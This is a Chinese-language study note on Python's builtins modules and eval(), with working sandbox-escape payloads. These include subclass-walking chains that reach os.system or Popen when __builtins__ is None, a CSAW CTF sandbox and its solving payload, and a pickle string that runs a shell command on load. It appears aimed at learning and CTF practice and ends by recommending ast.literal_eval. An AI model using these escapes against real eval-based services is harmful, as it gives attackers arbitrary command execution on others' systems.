python_eval_and_bypass_sandbox_study
__builtin__与__builtins__的区别与关系
python有一个内建模块,该模块会在python启动后,但在没有执行python代码前,会被加载到内存.即可用调用里面的函数,其中python2.x中是__builtin__
,python3.x中更名为builtins
import __builtin__
print [i for i in __builtin__.__dict__]
输出
['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'memoryview', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError']
即在python代码中我们可以直接使用这些函数,比如pow
,现在如果想更丰富内建模块功能的话,只需要向这个dict里面添加
import __builtin__
def print_hello():
print "hello, world"
__builtin__.__dict__['hello'] = print_hello
print_hello()
hello()
__builtins__
却在python2.x/3.x都有,它也就是内建模块一个引用,与__builtin__
相同的是也会一开始被先于程序加载到内存
但不同的是
1、在主模块main
中,__builtins__
是对内建模块__builtin__
本身的引用,即__builtins__
完全等价于__builtin__
,二者完全是一个东西,不分彼此
2、非主模块main
中,__builtins__
仅是对__builtin__.__dict__
的引用,而非__builtin__
本身
eval函数
简介
eval是将字符串str当成有效的表达式来求值并返回计算结果
原型:eval(expression[, globals[, locals]])
globals为字典形式,locals为任何映射对象,分别是全局和局部命名空间,如果传入globals字典缺失__builtins__
的时候,当前的全局命名空间将作为globals参数输入并且在表达式之前被解析,locals默认和globals相同,如果两个都省略掉话,表达式将在eval()调用的环境里面执行
所以就很容易做点什么。
import os
eval("os.system('ls')")
如果os开始没有导入呢?我们可以通过__import__('os')
导入os模块,与之相比的exec
是可以直接import的,原因是它只能执行python表达式
exec('import os')
eval("__import__('os').system('whoami')")
eval绕过
前面的表达式显示出,后面的两个参数是可以限制eval执行的函数,这样就感觉能在一定程度上有点安全
>>> eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
File "/Users/l3m0n/study/program/python/code_study/test3.py", line 15, in <module>
eval('os.system(\'whoami\')',{'abs':abs},{'abs':abs})
File "<string>", line 1, in <module>
NameError: name 'os' is not defined
如果是这样的情况的话:
env = {}
env["locals"] = None
env["globals"] = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
eval(users_str, env)
将作用域中的内置模块设置为None,但是一开始提到的builtins和builtin区别上面来看就知道了。
__builtins__
是__builtin__
的一个引用,在__main__
模块下,两者是等价的,所以置空是没效果的
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")
因为eval无法直接加载object,所以需要前面的class和subclasses动态加载,然后再子类zipimporter对egg文件的configobj模块进行导入,并调用内置模块中的os模块来执行命令
其中的egg文件很关键,configobj中内置了os模块,所以只要符合这样的其他也可以。
egg构造(未成功....)
可以下载带有setup.py的文件夹,加入
from setuptools import setup, find_packages
然后执行;
python setup.py bdist_egg
可以看看默认object子类
print [x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]
输出
['type', 'weakref', 'weakcallableproxy', 'weakproxy', 'int', 'basestring', 'bytearray', 'list', 'NoneType', 'NotImplementedType', 'traceback', 'super', 'xrange', 'dict', 'set', 'slice', 'staticmethod', 'complex', 'float', 'buffer', 'long', 'frozenset', 'property', 'memoryview', 'tuple', 'enumerate', 'reversed', 'code', 'frame', 'builtin_function_or_method', 'instancemethod', 'function', 'classobj', 'dictproxy', 'generator', 'getset_descriptor', 'wrapper_descriptor', 'instance', 'ellipsis', 'member_descriptor', 'file', 'PyCapsule', 'cell', 'callable-iterator', 'iterator', 'long_info', 'float_info', 'EncodingMap', 'fieldnameiterator', 'formatteriterator', 'version_info', 'flags', 'BaseException', 'module', 'NullImporter', 'zipimporter', 'stat_result', 'statvfs_result', 'WarningMessage', 'catch_warnings', '_IterationGuard', 'WeakSet', 'Hashable', 'classmethod', 'Iterable', 'Sized', 'Container', 'Callable', '_Printer', '_Helper', 'SRE_Pattern', 'SRE_Match', 'SRE_Scanner', 'Quitter', 'IncrementalEncoder', 'IncrementalDecoder']
这里面有很有模块,来绕过这个,比如:
会使程序退出:
eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
== 'Quitter'][0](0)()", {'__builtins__':None})
或者如果先导入过一些敏感模块,这可以使用popen来执行命令
import subprocess
eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-c','1','127.0.0.1'])", {'__builtins__':None ,'__builtin__':None})
例如《编写高质量代码》中的一则,就可以通过这个绕过:
import subprocess
def ExpCalcBot(string):
try:
match_fun_list = ['pow', 'pi', 'e']
match_fun_dict = dict([ (k, globals().get(k)) for k in match_fun_list ])
print 'your answer is',eval(string,{"__builtins__" : None}, match_fun_dict)
except NameError:
print "The expression you enter is not valid"
ExpCalcBot("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-c','1','127.0.0.1'])")
CSAW-CTF Python sandbox
#!/usr/bin/env python
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
exec data
看了一下writeup,大概是通过类里面找到一个含有os的模块,也就是上面的egg构造那块
最后payload:
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[137]('whoami')
RickGray给出的poc(原文显示有问题,这个poc显示起来就很好理解):
[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')
pickle.loads序列化导致命令执行问题
研究eval随便也看了看python的序列化问题
import cPickle
cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
data = "test"
#序列化
packed = cPickle.dumps(data)
#反序列化
data = cPickle.loads(packed)
总结
如果对象不是信任源,尽量避免使用eval,可以用安全性更好的ast.literal_eval替代
参考资料
http://drops.wooyun.org/tips/7710
http://drops.wooyun.org/web/7490
http://drops.wooyun.org/papers/66